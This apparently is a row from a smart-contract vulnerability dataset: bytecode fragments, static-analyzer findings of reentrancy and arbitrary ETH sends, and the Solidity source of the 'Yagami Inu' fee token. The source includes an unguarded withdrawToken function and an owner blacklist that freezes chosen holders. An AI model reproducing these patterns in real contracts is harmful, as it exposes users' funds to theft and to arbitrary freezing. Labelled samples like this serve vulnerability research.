405180910390a3505050565b6001600160a01b038316610e975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610ef95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610f5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610f8757506000546001600160a01b03838116911614155b1561121957601454600160a01b900460ff16611020576000546001600160a01b038481169116146110205760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b6015548111156110725760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526010602052604090205460ff161580156110b457506001600160a01b03821660009081526010602052604090205460ff16155b6110bd57600080fd5b6014546001600160a01b0383811691161461114257601654816110df846107c9565b6110e99190611df3565b106111425760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b600061114d306107c9565b6017546015549192508210159082106111665760155491505b80801561117d5750601454600160a81b900460ff16155b801561119757506014546001600160a01b03868116911614155b80156111ac5750601454600160b01b900460ff165b80156111d157506001600160a01b03851660009081526005602052604090205460ff16155b80156111f657506001600160a01b03841660009081526005602052604090205460ff16155b156112165761120482611418565b478015611214576112144761135a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061125b57506001600160a01b03831660009081526005602052604090205460ff165b8061128d57506014546001600160a01b0385811691161480159061128d57506014546001600160a01b03848116911614155b1561129a57506000611314565b6014546001600160a01b0385811691161480156112c557506013546001600160a01b03848116911614155b156112d757600854600c55600954600d555b6014546001600160a01b03848116911614801561130257506013546001600160a01b03858116911614155b1561131457600a54600c55600b54600d555b610bf084848484611592565b600081848411156113445760405162461bcd60e51b81526004016106149190611b48565b5060006113518486611e0b565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610685573d6000803e3d6000fd5b60006006548211156113fb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b60006114056115c0565b905061141183826115e3565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146057611460611d8f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114dd9190611dd6565b816001815181106114f0576114f0611d8f565b6001600160a01b0392831660209182029290920101526013546115169130911684610d0f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154f908590600090869030904290600401611e22565b600060405180830381600087803b15801561156957600080fd5b505af115801561157d573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061159f5761159f611625565b6115aa848484611653565b80610bf057610bf0600e54600c55600f54600d55565b60008060006115cd61174a565b90925090506115dc82826115e3565b9250505090565b600061141183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178a565b600c541580156116355750600d54155b1561163c57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611665876117b8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116979087611815565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116c69086611857565b6001600160a01b0389166000908152600260205260409020556116e8816118b6565b6116f28483611900565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161173791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061176582826115e3565b82101561178157505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117ab5760405162461bcd60e51b81526004016106149190611b48565b5060006113518486611e93565b60008060008060008060008060006117d58a600c54600d54611924565b92509250925060006117e56115c0565b905060008060006117f88e878787611979565b919e509c509a509598509396509194505050505091939550919395565b600061141183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611320565b6000806118648385611df3565b9050838110156114115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b60006118c06115c0565b905060006118ce83836119c9565b306000908152600260205260409020549091506118eb9082611857565b30600090815260026020526040902055505050565b60065461190d9083611815565b60065560075461191d9082611857565b6007555050565b600080808061193e606461193889896119c9565b906115e3565b9050600061195160646119388a896119c9565b90506000611969826119638b86611815565b90611815565b9992985090965090945050505050565b600080808061198888866119c9565b9050600061199688876119c9565b905060006119a488886119c9565b905060006119b6826119638686611815565b939b939a50919850919650505050505050565b6000826119d85750600061069a565b60006119e48385611eb5565b9050826119f18583611e93565b146114115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fd5b8035611a7e81611a5e565b919050565b60006020808385031215611a9657600080fd5b823567ffffffffffffffff80821115611aae57600080fd5b818501915085601f830112611ac257600080fd5b813581811115611ad457611ad4611a48565b8060051b604051601f19603f83011681018181108582111715611af957611af9611a48565b604052918252848201925083810185019188831115611b1757600080fd5b938501935b82851015611b3c57611b2d85611a73565b84529385019392850192611b1c565b98975050505050505050565b600060208083528351808285015260005b81811015611b7557858101830151858201604001528201611b59565b81811115611b87576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bb057600080fd5b8235611bbb81611a5e565b946020939093013593505050565b600080600060608486031215611bde57600080fd5b8335611be981611a5e565b92506020840135611bf981611a5e565b929592945050506040919091013590565b600060208284031215611c1c57600080fd5b813561141181611a5e565b80358015158114611a7e57600080fd5b600060208284031215611c4957600080fd5b61141182611c27565b600060208284031215611c6457600080fd5b5035919050565b60008060008060808587031215611c8157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cb257600080fd5b833567ffffffffffffffff80821115611cca57600080fd5b818601915086601f830112611cde57600080fd5b813581811115611ced57600080fd5b8760208260051b8501011115611d0257600080fd5b602092830195509350611d189186019050611c27565b90509250925092565b60008060408385031215611d3457600080fd5b8235611d3f81611a5e565b91506020830135611d4f81611a5e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611dcf57611dcf611da5565b5060010190565b600060208284031215611de857600080fd5b815161141181611a5e565b60008219821115611e0657611e06611da5565b500190565b600082821015611e1d57611e1d611da5565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e725784516001600160a01b031683529383019391830191600101611e4d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eb057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ecf57611ecf611da5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031689d2f40a1e8f8d3d6798790254c5a4bd8a8a16d3208061561ef772b38423f64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,622 |
0xEfd0BC9D14b6A1b44ef0ab2A5eCa950e501d03E8
|
/**
* Yagami Inu
* 2% reflection fee,2% marketing fee
* Use a minimum of 4% slippage when trading.
* Website: https://www.yagamicoin.com
* Telegram: https://t.me/yagamicoin
* Twitter: https://twitter.com/yagamicoin
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract YAGAMI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Yagami Inu";
string private constant _symbol = 'YAGAMI';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) public {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function withdrawToken (address tokenAddress) public {
IERC20 token = IERC20(tokenAddress);
uint256 balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a146105c3578063c3c8cd8014610688578063c9567bf91461069f578063d543dbeb146106b6578063dd62ed3e146106f15761011f565b8063715018a61461041957806389476069146104305780638da5cb5b1461048157806395d89b41146104c2578063a9059cbb146105525761011f565b8063273123b7116100e7578063273123b7146102e1578063313ce567146103325780635932ead1146103605780636fc3eaec1461039d57806370a08231146103b45761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022557806323b872dd146102505761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610776565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b3565b60405180821515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6107d1565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e3565b60405180821515815260200191505060405180910390f35b3480156102ed57600080fd5b506103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108bc565b005b34801561033e57600080fd5b506103476109df565b604051808260ff16815260200191505060405180910390f35b34801561036c57600080fd5b5061039b6004803603602081101561038357600080fd5b810190808035151590602001909291905050506109e8565b005b3480156103a957600080fd5b506103b2610acd565b005b3480156103c057600080fd5b50610403600480360360208110156103d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b6040518082815260200191505060405180910390f35b34801561042557600080fd5b5061042e610c2a565b005b34801561043c57600080fd5b5061047f6004803603602081101561045357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db0565b005b34801561048d57600080fd5b50610496610f0d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ce57600080fd5b506104d7610f36565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105175780820151818401526020810190506104fc565b50505050905090810190601f1680156105445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055e57600080fd5b506105ab6004803603604081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f73565b60405180821515815260200191505060405180910390f35b3480156105cf57600080fd5b50610686600480360360208110156105e657600080fd5b810190808035906020019064010000000081111561060357600080fd5b82018360208201111561061557600080fd5b8035906020019184602083028401116401000000008311171561063757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f91565b005b34801561069457600080fd5b5061069d6110e1565b005b3480156106ab57600080fd5b506106b461115b565b005b3480156106c257600080fd5b506106ef600480360360208110156106d957600080fd5b81019080803590602001909291905050506117da565b005b3480156106fd57600080fd5b506107606004803603604081101561071457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061198a565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f596167616d6920496e7500000000000000000000000000000000000000000000815250905090565b60006107c76107c0611a11565b8484611a19565b6001905092915050565b600069152d02c7e14af6800000905090565b60006107f0848484611c10565b6108b1846107fc611a11565b6108ac85604051806060016040528060288152602001613e3e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610862611a11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243b9092919063ffffffff16565b611a19565b600190509392505050565b6108c4611a11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6109f0611a11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0e611a11565b73ffffffffffffffffffffffffffffffffffffffff1614610b2e57600080fd5b6000479050610b3c816124fb565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bda57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c25565b610c22600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612567565b90505b919050565b610c32611a11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e1e57600080fd5b505afa158015610e32573d6000803e3d6000fd5b505050506040513d6020811015610e4857600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ecc57600080fd5b505af1158015610ee0573d6000803e3d6000fd5b505050506040513d6020811015610ef657600080fd5b810190808051906020019092919050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f594147414d490000000000000000000000000000000000000000000000000000815250905090565b6000610f87610f80611a11565b8484611c10565b6001905092915050565b610f99611a11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffff